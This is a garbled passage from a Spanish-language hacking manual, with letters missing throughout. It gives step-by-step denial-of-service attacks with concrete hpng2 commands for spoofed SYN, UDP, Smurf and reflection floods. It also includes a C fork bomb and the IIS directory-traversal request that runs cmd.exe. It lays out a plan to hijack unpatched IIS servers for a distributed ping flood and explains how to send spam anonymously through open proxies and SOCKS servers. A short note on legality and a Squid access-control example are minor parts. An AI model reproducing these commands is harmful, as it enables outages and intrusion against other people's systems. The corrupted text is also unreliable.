estaban estabecdas no se vern afectadas. En otras ocasones, e servdor puede quedarse sn
memora, cogarse o cogar e servco atacado.
Exsten soucones para este tpo de ataque, por o que puede darse e caso de hacer ntentos
nfructuosos en sstemas protegdos. Sn embargo no todos os sstemas y redes han sdo
confgurados para repeer este tpo de ncursones.
Demostraci'n de Ata-ues
Para reazar un ataque SYN-FLOOD se requere de programa hpng2 que ya revsamos en e captuo
anteror y con a que podemos generar paquetes con dferentes caracterstcas como son SYN,
SYN/ACK o ACK actvos, IP Spoofng y fragmentacn de paquetes.
Para nuestras pruebas o que tenemos que hacer es envar paquetes con e fag SYN actvo y con a IP
orgen spoofeada a puerto 80, por e|empo. Con a opcn 5* se ograr que e hpng2 no
autoncremente e puerto que especfquemos con e parmetro -p (puerto 80):
hpng2 -S -a p-fasa -p 80 -k p-maquna-ob|etvo
S espamos nuestro trfco con e tcpdump veremos que os paquetes que estamos envando son de
a forma
01:25:04.745182 ip-falsa.2315 > ip-maquina-objetivo.www:
S 1531287039:1531287039(0) win 512
Es decr, paquetes con e SYN (S) actvo y como s e orgen fuese p-fasa, en vez de nuestra IP rea.
Ahora soo tenemos que generar e sufcente nmero de paquetes para poder nundar a mquna
que tenemos como ob|etvo:
hpng2 - u100000 -S -a p-fasa -p 80 -k p-maquna-ob|etvo
Con a opcn u3RRRRR estaremos envando 10 paquetes por segundo (u sgnfca e tempo en
mcrosegundos que debe transcurrr antes de envar un nuevo paquete). S queremos envar ms
paquetes hay que cambar e vaor de a opcn 5i.
139
DDP POBT Do0 Attac*: Cuando somos capaces de estabecer una comuncacn entre dos servcos
que utzan e protocoo UDP y que producen una sada de datos, estos servcos pueden generar e
sufcente trfco para producr un DoS a ambos equpos. En este tpo de ataque no necestamos tener
en cuenta nnguna de as mqunas, soo ser necesaro e uso de IP Spoofng para evar a cabo e
ataque.
Imagnemos que medante e empeo de paquetes UDP spoofeados, conectamos e puerto chargen
(generador de caracteres -puerto 19) de un equpo con e puerto echo (que repte os datos de
entrada -puerto 7) de msmo equpo o de otro dstnto. Ambos puertos generarn una gran cantdad
de trfco, o que redundar en un ocupamento de ancho de banda exagerado entre ambos equpos e
ncusve agotar os recursos. Podemos eevar a efcaca de este ataque conectando e puerto
chargen de varos equpos a puerto echo de un msmo equpo. Para e|ecutar este procedmento
necestamos usar de nuevo hpng2.
hpng2 -2 -a IP1-spoofeada -a 7 -p 19 -k IP2
Donde IP2 es a mquna con e servco chargen. IP1-spoofeada es e equpo con e servco echo. La
mayora de os sstemas pueden tener mpementados mecansmos de proteccn contra esta case
de DoS.
Otra varante es conectar os dos puertos echo para generar un cco nfnto o crcuo vcoso donde
os paquetes se ntercamban una y otra vez ad infinitum entre as dos mqunas.
hpng2 -2 -a IP1-spoofeada -s 7 -p 7 -k IP2
E<P E,O !LOOD: Para este tpo de ataque se requere a coordnacn de una cantdad
consderabe de equpos traba|ando a msmo tempo contra un msmo ob|etvo. Hacendo esto,
podremos generar e sufcente trfco para consumr todo e ancho de banda de servdor. En este
ataque tenemos que tener en cuenta e ancho de banda de servdor con e fn de saber e nmero de
equpos necesaros para evar a buen fn e ataque. En e apartado DDoS (Dstrbuted Dena Of
Servce) se expcar detaadamente esta forma de ataque.
E programa 0mur7 es una herramenta que nos posbta evar a cabo este tpo de ataque. Lo que se
hace es envar paquetes ICMP (os usados por a herramenta png) a a dreccn de broadcast,
faseando a dreccn de orgen con a IP de a mquna que queremos que recba e torrente de
paquetes ICMP. Recordemos que a dreccn Broadcast todo e mundo a consdera como propa. S se
enva nformacn donde en e campo destnataro aparezca a dreccn broadcast, todos os sstemas
nterpretarn que a nformacn es para eos.
En redes ocaes, s os tmos nmeros en a dreccn IP corresponde a 255, a a IP se e ama
dreccn de broadcast y ega a todos os equpos por gua. Se empea, como menconamos en
captuos anterores, para funcones nternas de contro de red.
A envar os paquete de nformacn a a dreccn de broadcast, todas as maqunas que se
encuentran en a subred respondern a paquete ICMP, envando esta respuesta a a dreccn IP
pertenecente a a mquna banco. S e nmero de equpos en a subred es grande, podremos
saturar a red |unto con a mquna atacada. Medante hpng2, e ataque se estructurara de a
manera sguente:
hpng2 -1 - u1 -a IP-atacada -d 60000 -E archvo IP-broadcast
Con a opcn 5d ndcamos e tamao de os paquetes a envar. Con 5E seaamos e archvo que
utzamos como datos para generar estos paquetes.
140
Debemos |uzgar como a|ustar os vaores de hpng2 segn nuestras necesdades, atendendo a tpo
de conexn de a mquna que queremos atacar, nmero de equpos que formarn parte de ataque,
etc.
DDP !LOOD: Este procedmento es smar a ICMP FLOOD, pero con a dferenca de que se usan
paquetes UDP. Se envan paquetes UDP a a dreccn de broadcast con a dreccn IP fasfcada con
a de a mquna que se quere atacar. De esta manera, todas as mqunas respondern con
mensa|es "#"3! >nreachable?, provocando a saturacn de equpo. Una herramenta que que
mpementa este tpo de DoS es !raggle. Con hpng2 a estructura de comando y opcones es:
hpng2 -2 - u1 -a IP-atacada -d 60000 -E archvo IP-Broadcast
Hay que tener en mente que debemos a|ustar os vaores 5i y 5d segn nuestras pruebas.
onsumo De Otros Becursos4 Aparte de consumo de ancho de banda, os atacantes pueden
consumr otros recursos. Por e|empo, en muchos sstemas, exsten un nmero mtado de
estructuras de datos utzados para amacenar a nformacn de os procesos. Un usuaro macoso
puede enar competamente estas estructuras escrbendo un smpe programa que crea copas de s
msmo. De esta forma se puede raentzar o cogar competamente e sstema, como por e|empo,
enar a mte a memora dsponbe o cargar e CPU con un eevado nmero de procesos. Este
ataque es tan senco como e|ecutar e sguente programa:
#include <stdio.h>
void main()
while (1)
fork();
Cuando e|ecutamos este programa se generan rpdamente copas de msmo, as cuaes a su vez,
generan ms y ms copas. En soo segundos e sstema se vueve ms y ms ento y se cuega. Hoy
da, muchos sstemas prevenen este tpo de ataque. Este fue soo un e|empo de o que se puede
hacer.
Otros mtodos de consumo de recursos conssten en tratar de enar e dsco duro empeando para
este fn servcos de propo sstema, como pueden ser e uso abusvo correo para enar e espaco a
base de mensa|es, de servdores FTP o recursos de red demasado permsvos, generacn excesva
de ogs.
Agunos sstemas controan e nmero de ntentos de ogn fados, deshabtando e acceso a
usuaro cuando se ha egado a mte de ntentos permtdos. Esto puede ser utzado para denegar
e acceso a un usuaro egtmo.
DDo0 =Distributed Denial o7 0ervice>
De un tempo para ac, se ha puesto de moda esta modadad de ataque que a podemos consderar
descendente de a anteror. Un ataque de denegacn de servco dstrbudo fue perpretado contra
os servdores de Yahoo. En este tpo de ataque, a dea es utzar centos de computadoras para
atacar un servdor especfco traba|ando a msmo tempo.
Se ha utzado para tumbar servdores que ao|an pgnas de pornografa nfant, de campaas
potcas y de racsmo, etc; pero tambn servdores de personas que tenen pgnas personaes, a
modo de venganza. Lo empean hackers macosos de tpo amer.
141
Suponendo que e servdor que se tenga como ob|etvo dspone de una conexn T1 (1.58 megabts
de ancho de banda), s queremos reazar un DDoS para consumr todo e ancho de banda,
requerremos como mnmo, una conexn de msmo tpo para poder generar a cantdad sufcente
de paquetes necesaros para saturar su nea. Esto es ago que no est a acance de mucha gente.
Ahora ben, s empeamos, dgamos, 400 computadoras con DSL o Cabe, para que todas generen a
gran cantdad de paquetes destnados a servdor que se quere atacar, podremos de|aro @ff'line
durante e tempo que dure e ataque o mentras os responsabes de sstema no apquen os ftros
necesaros para evtar e ataque.
Ejecuci'n. Para poder evar a cabo este tpo de ncursn, o ms senco es centrarse en equpos
con Wnxx, encontrar una vunerabdad que nos permta ntroducres un troyano (ver captuo sobre
troyanos) que reazar todo e traba|o y buscar a forma de nformar a estos troyanos de cundo y a
qu equpo atacar. Sn embargo, a capacdad de reazar un programa de este tpo no est a acance
de todos, por o que se expcar una forma ms senca.
Hace un tempo aparec en IIS (Mcrosoft's IIS Web Server) una vunerabdad que permta e|ecutar
cuaquer comando en una computadora con Wnxx y con un servdor web e|ecutndose. Se ograba
con a sguente petcn:
GET /scrpts/..%255c..%255cwnnt/system32/cmd.exe?/c+dr+c:}
S e servdor IIS es vunerabe responder con "TTP#$%$ &'' O( y con e resutado de a e|ecucn
de comando dr C: s no es vunerabe, obtendremos "TTP#$%$ )'' server error, con o cua
podemos saber que este equpo no puede ser utzado en nuestro ataque. Por medo de un senco
programa podremos escanear un rango de Ips sufcentes como para obtener e nmero necesaro de
dreccones IP que tengan un IIS vunerabe. Cuando tengamos a a mano una sta grande, tendremos
a posbdad de envar e sguente comando a cada uno de estos servdores:
png.exe -n 9999999 - 65500 -w 0 <IP_Destno>
142
Este comando har que a computadora enve 9,999,999 petcones ICMP Echo de 64kb de tamao
mxmo, o ms rpdo que pueda a a dreccn que se quere atacar. S este proceso se automatza
por medo de un programa y utzando a sta de servdores IIS vunerabes que hayamos obtendo,
tendremos un peotn de equpos envando un torrente de paquetes a servdor destno.
Dependendo de as conexones de estas computadoras escavas, de ancho de banda que dsponga
e equpo destno y de a smutanedad de envo de paquetes, podemos tener a posbdad de
comprobar s e nmero de equpos utzado es sufcente o no.
No es necesaro que se utce a dreccn IP de servdor que se quere atacar. Hay que averguar qu
otros equpos estn por deante de nuestro ob|etvo (por e|empo, agn router) y reazar e ataque
drectamente a a IP de router.
ste ataque es reatvamente senco y e nmero de equpos con IIS que no estn parchados y que
presentan esta vunerabdad sgue sendo grande. La parte dfcutosa es reazar os dos programas:
e que recopa a sta de servdores vunerabes y e que utza dcha sta para reazar e ataque
medante a e|ecucn de png.
Los bots de rc son a forma ms orgna que se ha vsto para a e|ecucn de ataques DDoS. Se
puede utzar un troyano, como e sub7server, hacendo que a mquna nfectada acte como
zombe. Los troyanos usados y que ya han nfectado e equpo, se desempean como un bot de rc.
Se conectan a un cana de un servdor de rc que requere autentcacn y a permanece en espera
de rdenes. Cuando e atacante decde qu servdor, de pornografa nfant, por e|empo, ser a
vctma, soo tene que tecear una sere de comandos en e cana apropado y todos os bots que se
encuentren conectados comenzarn a atacar a a dreccn de destno que se es ndque. Podemos
reazar un ataque con ICMP Food o con UDP Food, o usar ncusve ambos. E bot de rc permanece
contnuamente conectado a servdor de rc mentras e servdor atacado se encuentre en nea.
Otras caracterstcas mportantes conssten en permtr su propa actuazacn. Medante e comando
adecuado, ste se conecta a una pgna web, se ba|a a nueva versn de bot y se actuaza. Hay que
notar que este bot permte e contro de a PC nfectada y a grabacn de tecazos (como un
keyogger), por o que hay que tener cudado a hacer nuestras pruebas.
,erramientas4 Tambn exsten una sere de uteras nformtcas que se empean con a fnadad
generar esta case de ataques, entre as que podemos destacar Tribe !orce NetGor*, TrinRR y
0tac+eldra+t. ste tmo es un hbrdo resutado de a combnacn de os dos anterores, pero con
nuevas funconadades aaddas. Todos funconan ba|o a estructura cente/servdor. Es necesaro
tener acceso a cada mquna zombe que actuar en e ataque para poder nstaar e programa
cente y es dfcutoso dado que hay que tener entrada a todas y cada una de as mqunas para
poder nstaaro. A dferenca de os dos prmeros, con Stachedraht as comuncacones se reazan en
forma encrptada, o que nos ayuda a e|ecutar un ataque con mayor anonmato. Medante este
programa podremos reazar ataques DDoS con as tcncas ICMP Food, SYN Food. UDP Food y a
empeada por "smurf".
DBDo0 =Distributed Be7lection Denial o7 0ervice>
Esta es otra varante de ataque DoS. E ataque de denegacn de servcos dstrbudo por refe|o o
DRDoS, utza IP Spoofng y equpos (servdores y routers) conectados a nternet medante un gran
ancho de banda. La dea es empear estos servdores como orgen de os ataques sn a necesdad de
nstaar en eos un troyano. E proceso es senco y se basa en e ya repasado t+ree5Ga) TP2EP
+ands+a*e que es necesaro para conectar os dos equpos.
143
Cuando un equpo que tene un servco correndo en un puerto determnado, recbe un paquete SYN,
genera un paquete de respuesta SYN/ACK. S a dreccn de paquete es verdadera porque
corresponde con a dreccn orgna, ser respondda con un ACK, con o que fnaza e proceso. Por
e contraro, s a dreccn de orgen de paquete SYN se encuentra spoofeada con a dreccn de a
mquna que se quere atacar, a mquna atacada ser quen recba e paquete SYN/ACK.
Imagnemos que ahora reazamos una recoeccn de os routers ms mportantes, medante e
traceo de rutas, y con anchos de banda que os IPS tenen para sus respectvas conexones o os
utzados en e corazn de Internet, para enrutar e trfco entre as dferentes redes que o
componen. Estos routers, por o reguar, sueen tener aberto e &uerto 3OQ, que es e que utzan
para ntercambar tabas de rutas con os routers vecnos medante e protocoo BGP (Border Gateway
Protoco). Cuaquer conexn que hagamos a este puerto segur e proceso de three-way TCP/IP
handshake, por o que podemos envar paquetes SYN con a IP orgen spoofeada, como s fuesen
generados por a mquna que tengamos como vctma. A tratarse de equpos que no sueen
mantener regstros de trfco que mane|an (e tamao de estos archvos de regstro sera
excesvamente grande), cuaquer proceso de rastreo de paquete orgna sera mposbe. Otra
venta|a es su gran ancho de banda, o que permte generar e sufcente trfco necesaro para poder
de|ar off-ne a servdor que se desea atacar.
Utzando esta sta de routers y con e programa adecuado para generar os paquetes con a
dreccn spoofeada, podramos generar un torrente de paquetes sn necesdad de tener que utzar
mqunas con agn tpo de troyano nstaado.
Este tpo de ataque se puede extender a otros tpos de servcos y servdores (no necesaramente
routers), como por e|empo SSH (22), tenet (23), DNS (53), servdores web (80), etc. hay que tener
en cuenta que os servdores webs como Yahoo, Gma o Hotma, tenen grandes gran|as de
servdores con anchos de banda grandes, o que os hace deaes para este tpo de ataques.
A todo esto debemos agregar e hecho de reenvo de paquetes por parte de os servdores/routers,
cuando no se recbe e ACK esperado. Esto hace que os servdores reenven nuevamente, por o
reguar en tres ocasones, e paquete con e SYN/ACK. Esto sgnfca que con soo envar un paquete
SYN con a dreccn orgen spoofeada, a mquna que nos pongamos como banco recbr cuatro
paquetes. Escaando estos datos a nmero de servdores/routers utzados para a ncursn y a
nmero de paquetes que envemos a estos, podremos generar e sufcente trfco que se requere
para saturar e ancho de banda de servdor atacado.
144
Exste en a red una t herramenta con a que podemos reazar este tpo de ataque y se puede
consegur en www.astaavsta.com/toos/dos/fooder/DRDoS.tar.gz. Es un programa senco que ee un
archvo de a sta de servdores que actuarn como zombes, ya sean routers o servdores, |unto con
e puerto que se utzar en cada uno. Este archvo debe contener un servdor/router por nea, de a
forma A.B.C.D puerto.
Por e|empo: s tenemos un router con a IP 10.11.12.13 que responde en e puerto 179 (BGP). La nea
correspondente en este archvo ser 10 11 12 13 179. hay que notar en esta dsposcn que os
puntos entre os nmeros se susttuyen por espacos en banco. Cuanto mayor sea a sta, ms
efcente ser e ataque. Es convenente poner routers y servdores que sepamos que tenen un gran
ancho de banda.
Podemos utzar hpng2 para efectuar este ataque, pero debemos automatzar e proceso para anzar
una nstanca de programa por cada uno de os servdores zombes que deseamos empear.
hpng2 -S - u100000 p-atacada p-zombe
Es decr, envamos paquetes tcp con e fag SYN actvo a a mquna p-zombe, hacndonos pasar de
ese modo, como s fusemos a p-atacada.
0oc*ets TP2EP raG
Con a ncorporacn de os sockets TCP/IP raw en e sstema operatvo WnXP, se do un ncremento
en os ataques DDoS. Esto permte que se puedan reazar apcacones que utcen cuaquer tpo de
socket de cuaquer forma magnabe. Se pueden programar uteras que empeen IP Spoofng,
componer paquetes con estructuras que van ms a de os mtes que marcan os estndares,
desarroar apcacones DDoS, etc. Esto era ago que soo se vea con Wn2000, Lnux y BSD.
Todos sabemos que a mayora de os usuaros domstcos carece de concenca acerca de a
segurdad y es muy fc que capten vrus desde pgnas con cdgos macosos o que ncuso
permtan a nstaacn de troyanos.
Para conocer ms acerca de estos ataques revsados se puede vstar a pgna web
http://grc.com
Con e conocmento y os programas a a mano, se puede comenzar a hacer as pruebas en nuestros
propos sstemas. Hay que advertr que nunca debemos hacer estas pruebas en sstemas a|enos por
ser un deto.
Hpng3 se encuentra ahora en su versn beta, me|orada con respecto de a anteror versn, y puede
ser descargado desde su pgna ofca www.hpng.org.
145
Los Proies
Un proxy es un programa o dspostvo que reaza una tarea de acceso a Internet en ugar de otra
computadora. Un proxy es un punto ntermedo entre una computadora conectada a Internet y e
servdor a que est accedendo. Cuando navegamos a travs de un proxy, en readad no estamos
accedendo drectamente a servdor, sno que reazamos una soctud sobre e proxy y es ste quen
se conecta con e servdor a que queremos acceder y posterormente nos devueve e resutado de a
soctud.
Cuando nos conectamos con un proxy, e servdor a que accedemos en readad recbe a soctud de
proxy, en vez de recbra drectamente desde nuestra computadora. Sn embargo, puede haber
sstemas proxy que nterceptan dversos servcos de Internet. Lo ms habtua es e proxy web, que
srve para nterceptar as conexones con a web y puede ser t para ncrementar a segurdad,
rapdez de navegacn e ncuso e anonmato.
E proxy web es un dspostvo que suee estar ms cerca de nuestra computadora que e servdor a
que estamos accedendo. Este suee tener o que denomnamos un cach, con una copa de as
pgnas web que se van vstando. Entonces, s varas personas que acceden a Internet a travs de
msmo proxy acceden a prmer sto web, e proxy a prmera vez accede fscamente a servdor
destno, socta a pgna y a guarda en a cach, adems de envara a usuaro que a ha soctado.
En sucesvos accesos a a msma nformacn por dstntos usuaros, e proxy so comprueba s a
pgna soctada se encuentra en a cach y no ha sdo modfcada desde a tma soctud. En ese
caso, en ugar de soctar de nuevo a pgna a servdor, enva a usuaro a copa que tene en a
cach. Esto me|ora e rendmento o veocdad de a conexn a Internet de os equpos que estn
detrs de proxy.
Otro caso tpco de uso de un proxy es para navegar annmamente. A ser e proxy e que accede a
servdor web, e proxy puede o no decr qun es e usuaro que o est utzando. E servdor web
puede entonces tener constanca de que o estn accedendo, pero puede que pense que e usuaro
que o accede es e propo proxy, en ugar de usuaro rea que hay detrs de proxy. Hay proxes
annmos y os hay que s nforman de usuaro rea que est conectado a travs de .
Utzar un proxy tambn tene sus desventa|as, como a posbdad de recbr contendos que no
estn actuazados, tener que gestonar muchas conexones y resutar un cueo de botea, o e abuso
por personas que deseen navegar annmamente. Tambn e proxy puede ser un mtador, por no
de|ar acceder a certos protocoos o puertos. AOL es un servco que utza decenas de proxes para
que sus abonados se conecten a Internet. Muchas de as pgnas no estn actuazadas y a mayora
de as veces, os aoers no se dan cuenta. Esto o hace AOL para ahorrarse ancho de banda. Para
evtar esto, a entrar a una pgna en e software de AOL, smpemente hay que tecear CTRL+F5 para
actuazara.
Proxies abiertos
En ocasones se pueden encontrar proxes abertos a todo e mundo y, con a fnadad de ocutar su
IP, os spammers utzan estos proxes envar correo masvo. Los spammers actan ms o menos de
a sguente manera: buscan servdores de correo de tpo Open Reay, agunos pertenecen a empresas
u organsmos ofcaes y hacen su conexn a travs de proxes abertos o empeando agn servdor
con socks abertos (puerto 1080 o Wngate) o cua hace muy dfc segures e rastro ya que en os
regstros se graban os "anftrones" que quz por gnoranca o desda han de|ado esas puertas
abertas. Una defcente confguracn de a segurdad permte e abuso de servdores proxes por os
que os spammers envan sus correos a travs de estos. Es a tcnca favorta de estos macosos ya
que a dreccn IP que queda regstrada es a de a mquna que es ob|eto de abuso.
Spammer --> Poxy aberto --> ma.vctma.com 1.2.3.4.5.6.7.8.9.10.11.12
146
Las cabeceras de un spam envado segn este esquema se veran as:
Received: from Open.proxy.com (5.6.7.8)
By: mail.victima.com with SMTP for <spamee@vctima.com>; 22 feb 2009 12:41:45 -0000
From: <spammer@spam.com>
To: <spamee@vctima.com>
Subject: Es hora de que se te pare la verg...onzoza actitud!
La nca forma de rastrear un ema envado de esta forma es contactndose con e admnstrador de
5.6.7.8 y esperar a que ste conteste y a ver s tene os ogs donde se pueda rastrear e abuso a
1.2.3.4.
Debemos notar que un proxy aberto no es o msmo que un reay aberto en vrtud de que ste tmo
traba|a a nve apcacn y por ta motvo s de|a hueas de su orgen. S en e e|empo anteror
5.6.7.8 fuera un reay aberto, as cabeceras de correo spam se veran de modo sguente:
Received: from Open.proxy.com (5.6.7.8)
By: mail.victima.com with SMTP for <spamee@vctima.com>; 22 feb 2009 12:41:45 -0000
Received: from spammer.com (1.2.3.4) by open.proxy.com with SMTP for <spamee@vctima.com>; 22 feb 2009
12:40:18 -0000
From: <spammer@spam.com >
To: <spamee@vctima.com>
Subject: Es hora de que se te pare la verg...onzoza actitud!
Por esta razn, os spammers utzan tanto proxes como reays abertos.
@9s-ueda de &roxies ) rela)s abiertos
Podemos navegar a a pgna www.reaysnper.com/downoad.asp y descargar dos programas que
buscan servdores open reay y open proxes respectvamente. Los programas estn pensados para
ser udados por admnstradores responsabes que queran tener a certeza de que en a red que
mane|an no haya nngn equpo que haga de open reay u open proxy, pero por supuesto que pueden
ser utzados de a msma manera que varos programas smares para encontrar equpos de
"puertas abertas" a os fnes que convenga a nteresado.
En os programas scanner de servdores open reay se puede hacer un "barrdo" de dreccones IP
ndcando a nca y fna. Aunque para hacero en a egadad, debe practcarse en nuestros equpos,
pero se puede utzar en cuaquer rango de Ips, por e|empo, en a de cuaquer proveedor de
servcos de nternet (ISP).
En a pgna www.openreaycheck.com/orc/openreayst.asp se puede obtener una sta de reays
abertos pagando una suscrpcn. Para ususaros gratutos, a sta no est actuazada, sn embargo,
exsten admnstradores de esos servdores tan descudados que es posbe que hayan de|ado
servcos abertos.
Proxies an'nimos ) no an'nimos
En www.openproxes.com se ofrece a os vstantes una sta de dez proxes abertos. La estructura de
a nea de e|empo es como sgue:
193.170.41.235 80 640 ms No 01/20 17:43
Como se puede ver, se ndca a dreccn IP y e puerto (80). "640" es e tempo de respuesta (en
este e|empo es ento). "No" ndca que e proxy no es annmo, es decr, no ocuta nuestra IP. E resto
de os datos son a fecha y hora.
147
Para saber s e proxy que estamos utzando es annmo o no, podemos aprovechar os servcos de
a pgna www.a-nettoos.com/toos1.htm.
En a seccn correspondente a Prox) Test podemos corroborar que estamos saendo de a IP de
proxy y que no puede detectarse nuestra IP rea. S se quere una sta competa de proxes annmos
y actvos hay que suscrbrse a servco.
Legalidad de usar Proxies
Aunque muchos han cuestonado a egadad de utzar un proxy para ocutar nuestra IP, est
competamente caro que o que es un verdadero crmen es forzar a entrada a un equpo sn
autorzacn. Exsten tres opcones por as que aguen de|a un proxy aberto a todo e mundo, o es
por que no sabe o que hace (gnoranca), por neggenca o quz porque tene sus prpos motvos
para hacero.
Lo anteror es anogo a magnar que aguen de|a un tefono dsponbe para cuaquera. E tefono
ah est y nade o toma por a fuerza. Como nnguna persona o autordad a ndcado aguna norma o
restrccn para su uso, pues eso corre a cuenta de quen o utza.
Las personas que utzan proxes o hacen para proteger su prvacdad y evtar que un sto web
regstre su ngreso, especamente s tene una IP f|a y no dnmca y no e gusta que se conozcan sus
hbtos de navegacn, sus preferencas, etc.
S se tenen as IPs de posbes servdores proxy abertos, se pueden verfcar onne desde
www.atomntersoft.com/products/ave-proxy/onne-proxy-checker
que tambn cuenta con un servco smar para servdores soc*s, que veremos en e sguente
apartado.
Dso de varios &roxies
S se quere navegar de me|or manera y annma, se pueden utzar varos proxes. Por e|empo, s
usamos e pro4y / y sabemos as dreccones de de otros dos proxes (pro4y : y pro4y "), a dreccn
que debemos soctar sera ago as:
http://proxyB:puerto/http://proxyC:puerto/http://www.pagna.org.
Como resutado obtendramos acceso a a pgna http://www.pgna.org a travs de tres proxes
annmos: e proxy A (que est confgurado en e navegador que usemos), e proxy B y e C que estan
en a URL que teceamos.
Otro e|empo ms reasta sera:
http://proxy.usnowear.com;8080/http://proxy.barceonaweb.com:8080/http://www.arroba.com
148
Los Servidores Soc!s
En prncpo, habar de os Socks es habar de un protocoo de red de tpo proxy que posbta que un
equpo de ado nteror de servdor SOCKS egue a otros equpos remotos sn estabecer una
conexn drecta desde su dreccn IP. Se puede usar como mtodo de proteccn o cortafuegos para
proteger equpos de nuestra red de Internet. Obvamente, dada su naturaeza, soo determnados
equpos deberan utzar e servco.
SOCKS traba|a con apcacones TCP y UDP. Para aqueos que han usado mrc o agn scrpt para chat
por IRC, a presenca de servdores SOCKS abertos resutan muy utes para poder reazar todo tpo
de actvdades sn revear nuestra IP verdadera. Es por a razn antes menconada, que os servdores
IRC controan que e cente no se haya conectado a travs de estos servdores porque entonces
gozaran de prvegos e mpundad en vrtud de que a dreccn IP regstrada es a de servdor o
host, y no a de propo equpo. De hecho, os scrpts ya venen con escaneadores de puertos,
especamente wngates o SOCKS. No soamente poder encontrar un open socks es t para e IRC.
Podemos obtener e programa SocksCap desde:

www.socks.permeo.com/downoad/SocksCapDownoad/ndex.asp
Este programa nos permte que cuaquer apcacn cente UDP/TCP de Wnxx pueda sar a travs de
un servdor SOCKS. En e programa debemos especfcar a IP de servdor, e puerto (1080 por o
genera) y e protocoo SOCKS v.4 o SOCKS v.5.
Consdrese aguen con pocos escrpuos qusera envar spam pasando nadvertdo. Para empezar
debe buscar un servdor Open Reay con cuaquera de os mtodos vstos y uego un servdor SOCKS.
S vamos a a pgna
http://toos.rosnstrument.com/proxy/
podremos tener una sta de servdores SOCKS y proxy abertos. E stado aparece con neas
estructuradas de a sguente manera:
2 stat 12-232-116-187.client.attbi.com 1080 7155 103-01-22
3 stat 12-233-223-176.client.attbi.com 1080 5181 103-02-12
4 stat 123-69-33.65.cfl.rr.com 1080 3513 103-02-20
5 stat 13-e4bed1.client.atlantech.net 1080 8633 103-02-13
6 stat 131-109-110-50 1080 1768 103-02-12
Aqu podemos notar que en todas as neas e puerto aberto es e 1080. Aunque as stas nunca
estarn actuazadas, ya que para teneras a da debemos regstrarnos y pagar una cuota, sempre
exstrn servdores abertos durante meses, por o que con certa pacenca tendremos a posbdad
de encontrar uno aberto cuando menos.
S encontramos un servdor aberto, entonces soamente necestamos un programa de envo masvo
de emas, como por e|empo, e aureate. Indcamos a programa SocksCap que dcha apcacn saga
por e servdor SOCKS que e ndquemos. De esta manera, a vctma de spam recbr e mensa|e
desde e Open Reay y, s quere ver os detaes y a IP de orgen, aparecer a de servdor SOCKS y
no a de spammer. Los spammers ms astutos empean varos servdores SOCKS y hasta pueden
combnaros con servdores proxy con o que se vueve una tarea rdua tratar de ubcar a fuente de
spam.
149
Test a Nuestros 0ervidores
Es hora de preguntarnos s nuestros propos equpos no tenen una puerta aberta a cuaquer ente
macoso que qusera aprovechara. S estamos usando un servdor de correo es fundamenta probar
que no sea un Open Reay ya que esto nos puede traer un quebradero de cabeza enorme.
Exste una pgna cuya fnadad es tanto para probar nuestros propos servdores como os servdores
a|enos y verfcar s hacen reay. Soo hay que apuntar e navegador haca:
http://members.net.net.au/-remme/reay/ndex.cg
En esta pgna hay que poner e nombre o a IP de servdor sospechoso y e scrpt hace a
comprobacn en nea para saber s se trata o no de un Open Reay.
En e cuadro ad|unto, podemos ver as pruebas que hace y os resutados en un servdor dado. Resuta
sumamente nteresante observar as dferentes cases de pruebas que se efectan sobre e servdor
SMTP (e de correo) para ver s o puede burar y ograr que retransmta nuestro mensa|e:
Failure
Unfortunately the program failed because...
The host machine does not relay
Este mensa|e debe ser buena notca s somos admnstradores de un servdor de correo, pero son
maas notcas s en readad o que queremos es encontrar un Open Reay.
S somos admnstradores de un proxy, por e|empo un Squd, debemos prestar atencn a mane|o de
as Lsta De Contro de Acceso (ACL, por sus sgas en ngs -Access Contro Lst) para autorzar
soamente a nuestros usuaros a utzar e proxy.
Aqu podemos encontrar parte de archvo squd.conf donde pueden observarse as ACL:
acl localnet src 192.168.1.0/255.255.255.0
acl localhost src 127.0.0.1/255.255.255.255
acl Safe_ports por 80 443 210 119 70 21 1025-65535
acl CONNECT method CONNECT
acl all src 0.0.0.0/0.0.0.0
http_access allow localnet
http_access allow localhost
http_access deny !Safe_ports
http_access deny CONNECT
http_access deny all
Como se puede observar, se defne expctamente a ocanet (o e nombre que se e quera poner)
como a red autorzada, en este caso a red prvada 192.168.1.0/255.255.255.0 y soamente se
permte a sada por e proxy (http_access aow -permtr-) a esta red y a equpo oca. E resto tene
denegado e acceso.
150
Los "ploits
Un expot (de francs expotar o aprovechar) es una peza de software, un fragmento de datos, o
una secuenca de comandos que provecha un error, fao o vunerabdad, es decr que o expota
(como en a frase e4plotar los recursos).
Objetivos de uso
La fnadad de usar un expot es causar un comportamento no deseado o mprevsto en os
programas nformtcos, hardware, o ago eectrnco (por o genera computarzado). Muy
frecuentemente, esto ncuye cosas taes como a voenta toma de contro de un sstema de
cmputo, permtr a escaada de prvegos o romover un ataque de denegacn de servco.

Otro ob|etvo de expot puede ser a destruccn o nhabtacn de sstema atacado, aunque
normamente se trata de voar as meddas de segurdad para poder acceder a msmo de forma no
autorzada y empearo en benefco propo o como orgen de otros ataques a terceros.

lasi7icaci'n
Exsten varos mtodos para casfcar as vunerabdades. E ms comn es por a forma en que e
expot contacta e software vunerabe.
Un expot remoto funcona a travs de una red y expota a vunerabdad de a segurdad sn prevo
acceso a as vunerabdades de sstema. Un expot oca s requere acceso prevo a sstema
vunerabe y por o genera aumenta os prvegos de a persona que e|ecuta e expot que os
conceddos por e admnstrador de sstema.

Tambn exsten expots contra as apcacones que fungen como cente, por o genera conssten en
servdores modfcados que envan un expot s uno accede con a apcacn cente. Los expots
contra as apcacones cente tambn pueden requerr aguna nteraccn con e usuaro y, por tanto,
pueden utzarse en combnacn con e mtodo de ngenera soca que ya revsamos anterormente.

Otra casfcacn se basa segn as accn e|ecutadas contra e sstema vunerabe, como e acceso
no autorzado a datos, a e|ecucn de cdgo arbtraro o (DoS).
Muchos expots estn dseados para proporconar e acceso a nve de superusuaro en un sstema
nformtco (consegur os prvegos de root). Sn embargo, tambn es posbe utzar varos
expots, en prmer ugar para obtener un ba|o nve de acceso y, a contnuacn, poder escaar
prvegos varas veces hasta ega a root.
Normamente un nco expot so puede tomar venta|a de una vunerabdad de software especfca.
A menudo, cuando un expot se pubca, a vunerabdad se arrega usando un parche y e expot se
vueve obsoeto para as nuevas versones de software. Esta es a razn por a cua agunos backhat
hackers no pubcan sus expots, sno que os mantenen prvados para su propo uso. Estas expots
se denomnan "expots de da cero"; y obtener acceso a esos expots es e prncpa deseo de
macosos atacantes a menudo denomnados como Scrptkddes

Una de as herramentas ms utzadas para reazar este tpo de ataque nformatco es e Metaspot
que se encuentra en su utma verson.
151
